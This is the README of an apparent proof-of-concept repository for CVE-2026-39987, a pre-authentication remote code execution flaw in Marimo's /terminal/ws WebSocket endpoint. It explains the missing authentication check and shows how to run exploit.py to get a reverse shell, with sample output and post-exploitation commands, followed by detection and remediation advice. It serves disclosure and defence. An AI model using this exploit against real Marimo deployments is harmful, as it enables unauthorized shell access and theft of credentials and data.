## https://sploitus.com/exploit?id=38451D31-6448-51A8-9AD4-43EA7813D573
# CVE-2026-39987 — Marimo Pre-Authentication RCE
**CVE-2026-39987** is a critical **pre-authentication Remote Code Execution (RCE)** vulnerability affecting [Marimo](https://github.com/marimo-team/marimo), a reactive Python notebook environment.
The vulnerability exists in Marimo's terminal WebSocket endpoint:
```text
/terminal/ws
```
The endpoint failed to properly enforce authentication before creating a terminal session. As a result, an unauthenticated remote attacker capable of reaching a vulnerable Marimo instance can establish a WebSocket connection and obtain an interactive PTY shell.
No valid credentials are required.
---
## Vulnerability Summary
| Property | Value |
| ---------------- | ------------------------------------------------------ |
| CVE | CVE-2026-39987 |
| Product | Marimo |
| Vulnerability | Pre-Authentication Remote Code Execution |
| Attack Vector | Network |
| Authentication | Not required |
| User Interaction | Not required |
| CWE | CWE-306 — Missing Authentication for Critical Function |
| Severity | Critical |
| Fixed Version | 0.23.0 |
The vulnerability was caused by inconsistent authentication enforcement between Marimo's WebSocket endpoints.
While other WebSocket functionality performs authentication validation, the vulnerable `/terminal/ws` endpoint could accept a connection without first validating the caller.
---
## Root Cause
The vulnerable terminal endpoint creates an interactive PTY after accepting a WebSocket connection.
Conceptually, the vulnerable request flow is:
```text
Remote Client
|
| WebSocket connection
v
/terminal/ws
|
| Missing authentication validation
v
WebSocket accepted
|
v
PTY created
|
v
Interactive shell
```
The important security boundary is the missing authentication check.
An endpoint exposing arbitrary command execution must not allow an unauthenticated client to reach the PTY creation logic.
---
## Impact
Successful exploitation can provide arbitrary command execution with the privileges of the Marimo process.
Depending on the deployment configuration, this may allow an attacker to:
* Execute arbitrary operating-system commands
* Read application files
* Access environment variables
* Access credentials available to the Marimo process
* Access files mounted into the container
* Pivot further into an internal environment
* Compromise the underlying host or container when excessive privileges are available
The impact is particularly significant for notebook environments because they commonly have access to datasets, APIs, credentials, cloud resources, and development infrastructure.
---
# Proof of Concept
> **Warning:** Run the PoC only against systems you own or are explicitly authorized to test.
This repository contains a PoC for demonstrating the vulnerability in a controlled environment.
The example below demonstrates exploitation against a local/lab instance.
## Start the vulnerable target
For example:
```text
http://127.0.0.1:8081
```
The vulnerable Marimo instance should be running before launching the PoC.
---
## Launch the PoC
Example:
```bash
python3 exploit.py \
-u http://127.0.0.1:8081 \
--host 192.168.101.130 \
--port 5555
```
Where:
```text
-u Target Marimo instance
--host Listener IP
--port Listener port
```
The PoC establishes the vulnerable terminal connection and waits for the resulting shell connection.
Example output:
```text
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882
```
---
# Shell Demonstration
After successful exploitation, the attacker receives a shell running under the privileges of the Marimo process.
### Identify the current user
```bash
whoami
```
Example:
```text
marimo
```
### Verify process identity
```bash
id
```
Example:
```text
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
```
This demonstrates that arbitrary commands are being executed remotely as the `marimo` account.
---
## File-System Demonstration
The PoC can also demonstrate access to the filesystem available to the compromised process.
```bash
ls -la
```
Example:
```text
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py
```
Moving to the filesystem root:
```bash
cd /
ls
```
Example:
```text
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace
```
This confirms that the remote shell has normal filesystem access subject to the privileges and container restrictions of the Marimo process.
---
# Exploitation Chain
The complete vulnerability chain can be summarized as:
```text
1. Attacker discovers exposed Marimo instance
|
v
2. Attacker connects to /terminal/ws
|
v
3. Authentication is not enforced
|
v
4. WebSocket connection is accepted
|
v
5. PTY terminal is created
|
v
6. Attacker obtains command execution
|
v
7. Commands execute as the Marimo process
```
The critical security failure occurs at step 3.
---
# Detection
Potential indicators of exploitation include unexpected WebSocket connections to:
```text
/terminal/ws
```
and unusual process activity originating from the Marimo server.
Defenders should investigate:
* Unexpected connections to the terminal WebSocket endpoint
* Unexpected shell processes spawned by Marimo
* Suspicious child processes
* Unexpected outbound connections
* Access to sensitive environment variables
* Unexpected file-system activity
* Unknown commands executed by the Marimo process
---
# Remediation
Upgrade Marimo to a fixed release:
```text
0.23.0 or later
```
Additionally:
* Do not expose Marimo directly to the public Internet unless necessary.
* Place notebook services behind an authenticated reverse proxy.
* Restrict network access to trusted users and networks.
* Run Marimo with the minimum privileges required.
* Avoid mounting sensitive host directories into the container.
* Rotate credentials that may have been accessible to compromised instances.
* Review logs for suspicious `/terminal/ws` activity.
* Investigate potentially compromised instances rather than assuming patching alone removes attacker persistence.
---
# Security Classification
```text
CVE: CVE-2026-39987
CWE: CWE-306
Severity: Critical
Type: Pre-Authentication RCE
Protocol: WebSocket
Endpoint: /terminal/ws
Auth: None required
Fixed: 0.23.0
```
---
# References
* NVD — CVE-2026-39987
* GitHub Security Advisory — GHSA-2679-6mx9-h9xc
* Marimo security advisory and patch
* CISA Known Exploited Vulnerabilities Catalog
---
# Disclaimer
This project is provided for **security research, vulnerability validation, and educational purposes**.
Do not use the PoC against systems that you do not own or have explicit authorization to test.